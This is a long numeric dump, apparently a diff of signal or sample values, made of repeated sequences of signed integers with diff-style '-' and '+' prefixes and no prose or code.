-141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 -127 -123 -120 -116 -112 -107 -102 -96 -90 -84 -78 -71 -66 -60 -55 -50 -46 -42 -39 -36 -33 -30 -29 -26 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -8 -6 -6 -5 -4 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --88 --83 --77 --56 --67 --63 --58 --54 --51 --48 --45 --42 --39 --36 --34 --31 --29 --27 --25 --23 --21 --20 --19 --18 --17 --15 --15 --13 --12 --12 --10 --10 --9 --8 --8 --7 --6 --6 --6 --5 --5 --4 --4 --3 --3 --3 --3 --2 --2 --2 --2 --1 --1 --1 --1 --1 --1 -0 --1 -0 -0 -0 -0 -0 -1 -1 -0 -0 -0 -1 -1 -0 -0 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -1 -2 -1 -2 -1 -0 -1 -1 -1 -1 -0 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -2 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -2 -1 -1 -2 -2 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -128 -123 -121 -118 -114 -110 -105 -99 -93 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 -4 -3 -3 -2 -2 -1 -1 -1 -0 -0 -0 -0 -0 --1 -0 --1 --1 --1 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --2 --3 --2 --3 --3 --3 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --2 --2 --2 --3 --3 --3 --3 --3 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --88 --66 --77 --56 --67 --62 --58 --55 --51 --48 --44 --42 --39 --36 --34 --31 --30 --27 --25 --24 --22 --21 --21 --19 --17 --16 --16 --15 --13 --12 --11 --10 --9 --8 --8 --8 --7 --6 --6 --6 --5 --4 --4 --4 --3 --3 --2 --2 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 --1 -0 -0 -0 -0 -0 -0 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -0 -0 -2 -2 -2 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -3 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -120 -117 -114 -110 -104 -98 -93 -86 -80 -73 -66 -60 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -6 -5 -4 -4 -3 -3 -2 -2 -1 -1 -1 -1 -0 -0 -0 -0 --1 --1 --1 --1 --1 --1 --1 --1 --2 --1 --2 --2 --2 --2 --2 --2 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --2 --2 --3 --3 --2 --3 --3 --3 --4 --4 --4 --4 --4 --4 --3 --3 --3 --3 --4 --4 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --3 --4 --4 --4 --4 --4 --3 --4 --3 --3 --3 --3 --3 --3 --3 --4 --4 --3 --4 --3 --3 --3 --3 --4 --3 --4 --3 --4 --4 --4 --4 --4 --4 --4 --4 --4 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --95 --88 --66 --78 --57 --67 --63 --59 --55 --51 --47 --45 --42 --39 --36 --34 --32 --30 --27 --26 --24 --23 --21 --20 --19 --18 --16 --14 --14 --13 --12 --11 --11 --10 --9 --8 --7 --7 --6 --6 --6 --5 --5 --5 --4 --4 --3 --3 --2 --2 --2 --1 --1 --1 -0 --1 --1 --1 --1 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 --1 -0 -0 -0 -0 -1 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -0 -1 -0 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -3 -3 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 -126 -123 -120 -116 -112 -108 -104 -97 -91 -84 -78 -71 -65 59 -54 -49 -45 -41 -38 -35 -32 +53 +47 +42 +37 +33 29 -27 25 -23 -21 +22 19 -18 17 15 -14 13 11 -10 9 -8 7 5 -5 4 3 -3 -3 -2 -3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-18 +-17 +-18 +-18 +-18 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-108 +-101 +-80 +-92 +-71 -81 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --91 --84 --93 --88 --83 -77 --56 --67 --63 --59 --54 --51 --48 --45 --42 --39 --36 --34 --31 --29 --27 --25 --23 --22 --20 --19 --18 --17 --16 --15 --14 --12 --12 --10 --10 --9 --8 --8 --7 --7 --6 --6 --6 --5 --4 --4 --4 --4 --3 --2 --2 --2 --2 --2 --1 --1 -0 -0 --1 -0 -0 --1 -0 -0 -0 -1 -0 -1 -1 -1 -0 -0 -0 -1 -0 -1 -1 -1 -1 -0 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -2 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -2 -1 -0 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -121 -118 -114 -109 -104 -98 -92 -86 -80 -73 -67 -61 -57 -52 -47 -43 -39 -36 -34 -30 -28 -26 -25 -23 -21 -20 -18 -17 -16 -15 -14 -13 -12 -10 -9 -8 -7 -6 -6 -5 -4 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --90 --84 --94 --88 --66 --77 --56 --68 --63 --59 --55 --52 --48 --45 --42 --39 --37 --34 --31 --30 --28 --26 --23 --22 --20 --19 --17 --16 --15 --15 --13 --12 --11 --11 --10 --9 --8 --8 --8 --7 --6 --6 --5 --5 --4 --4 --4 --4 --3 --3 --2 --2 --2 --2 --1 --2 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -0 -0 -0 -0 -0 -0 -2 -1 -1 -2 -2 -1 -1 -0 -1 -0 -1 -1 -0 -1 -2 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -125 -122 -118 -114 -110 -105 -98 -93 -86 -80 -73 -68 -62 -57 -52 -48 -43 -40 -37 -34 -31 -29 -26 -25 -23 -21 -20 -18 -17 -16 -14 -14 -12 -11 -10 -9 -8 -7 -6 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --94 --88 --66 --77 --56 --67 --62 --58 --55 --51 --47 --44 --41 --38 --36 --34 --31 --29 --27 --25 --23 --22 --20 --19 --18 --17 --15 --15 --13 --13 --12 --11 --10 --9 --9 --8 --7 --6 --6 --6 --5 --5 --4 --4 --3 --4 --3 --2 --2 --2 --2 --2 --1 --2 --1 --1 -0 --1 --1 --1 --1 --1 --1 --1 -0 -0 -0 -0 -1 -0 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -124 -121 -117 -114 -109 -104 -98 -93 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 -37 -35 -32 -30 -27 -25 -23 -21 -20 -18 -17 -16 -14 -14 -13 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --86 --95 --89 --84 --77 --56 --68 --64 --60 --54 --51 --48 --45 --42 --38 --36 --34 --32 --29 --27 --26 --24 --22 --20 --19 --18 --17 --16 --15 --14 --14 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -140 -132 -126 -122 -118 -115 -112 -107 -102 -96 -90 -84 -78 -71 -65 -59 -54 -50 -46 -42 -40 -36 -34 -32 -30 -27 -25 -23 -21 -19 -18 -16 -15 -14 -12 -11 -10 -9 -9 -8 -7 -7 -6 -6 -5 -5 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --88 --83 --77 --56 --68 --63 --58 --55 --51 --48 --45 --42 --39 --36 --34 --31 --29 --27 --25 --24 --22 --20 --19 --18 --17 --15 --14 --13 --13 --12 --11 --10 --10 --8 --8 --7 --7 --7 --6 --5 --5 --4 --4 --3 --3 --3 --3 --2 --2 --2 --2 --1 --1 --1 --1 --1 -0 -0 --1 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -0 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -2 -2 -2 -1 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -124 -120 -117 -113 -109 -104 -98 -92 -86 -80 -73 -68 -62 -57 -52 -48 -43 -40 -37 -35 -32 -30 -27 -25 -23 -21 -20 -19 -17 -16 -14 -13 -12 -10 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --93 --87 --66 --77 --56 --67 --63 --59 --55 --51 --48 --45 --42 --39 --36 --34 --31 --30 --28 --26 --24 --22 --21 --19 --18 --17 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -140 -132 -126 -122 -119 -115 -112 -107 -102 -96 -90 -84 -78 -71 -65 -59 -54 -49 -45 -42 -38 -36 -34 -31 -29 -27 -25 -22 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -2 -2 -2 -1 -1 -0 -0 -0 -0 -0 -0 -0 --1 --1 --1 --1 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --2 --2 --2 --3 --3 --3 --3 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --3 --3 --4 --4 --3 --4 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --88 --66 --77 --56 --68 --63 +-73 +-70 +-65 +-61 -59 -56 --52 --48 --45 --42 --39 --36 --34 --32 --30 --28 --26 --24 --22 --21 --19 --18 --17 --16 --14 --13 --13 --12 --11 --10 --10 --9 --8 --8 --7 --6 --6 --5 --5 --5 --5 --4 --4 --4 --4 --3 --2 --2 --2 --1 --2 --1 --1 -0 -0 --1 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -0 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -0 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -0 -2 -1 -0 -0 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -0 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -0 -0 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -124 -122 -118 -114 -108 -104 -98 -92 -85 -78 -72 -66 -60 -56 -51 -47 -43 -40 -37 -34 -31 -30 -27 -26 -24 -22 -20 -18 -17 -16 -14 -13 -12 -11 -10 -8 -8 -7 -6 -6 -5 -5 -5 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --95 --89 --84 --78 --55 --67 --63 --59 --54 +-53 -50 -48 --45 --41 --38 --36 --34 --32 --29 --27 --25 --24 --22 --20 --19 --18 --16 --15 --14 --13 --12 --11 --10 --10 --9 --8 --8 --7 --7 --6 --6 --6 --5 --5 --4 --3 --3 --3 --3 --2 --2 --2 --1 --1 --1 --1 --1 -0 -0 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -0 -1 -1 -1 -0 -1 -1 -1 -0 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -126 -122 -117 -114 -109 -104 -98 -92 -86 -80 -73 -68 -62 -57 -52 -47 -43 -40 -36 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -14 -14 -12 -12 -10 -10 -8 -8 -7 -6 -6 -5 -5 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --89 --83 --76 --56 --67 --64 --59 --54 --51 --48 -46 --42 --38 +-44 +-41 +-39 +-37 -36 -34 +-33 -32 --29 --27 --26 --24 --22 --20 --19 --18 --16 --15 --15 --13 --12 --12 --11 --10 --9 --8 --8 --7 --7 --6 --6 --6 --5 --4 --5 --5 --4 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --2 --2 --1 -0 -0 --1 --1 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 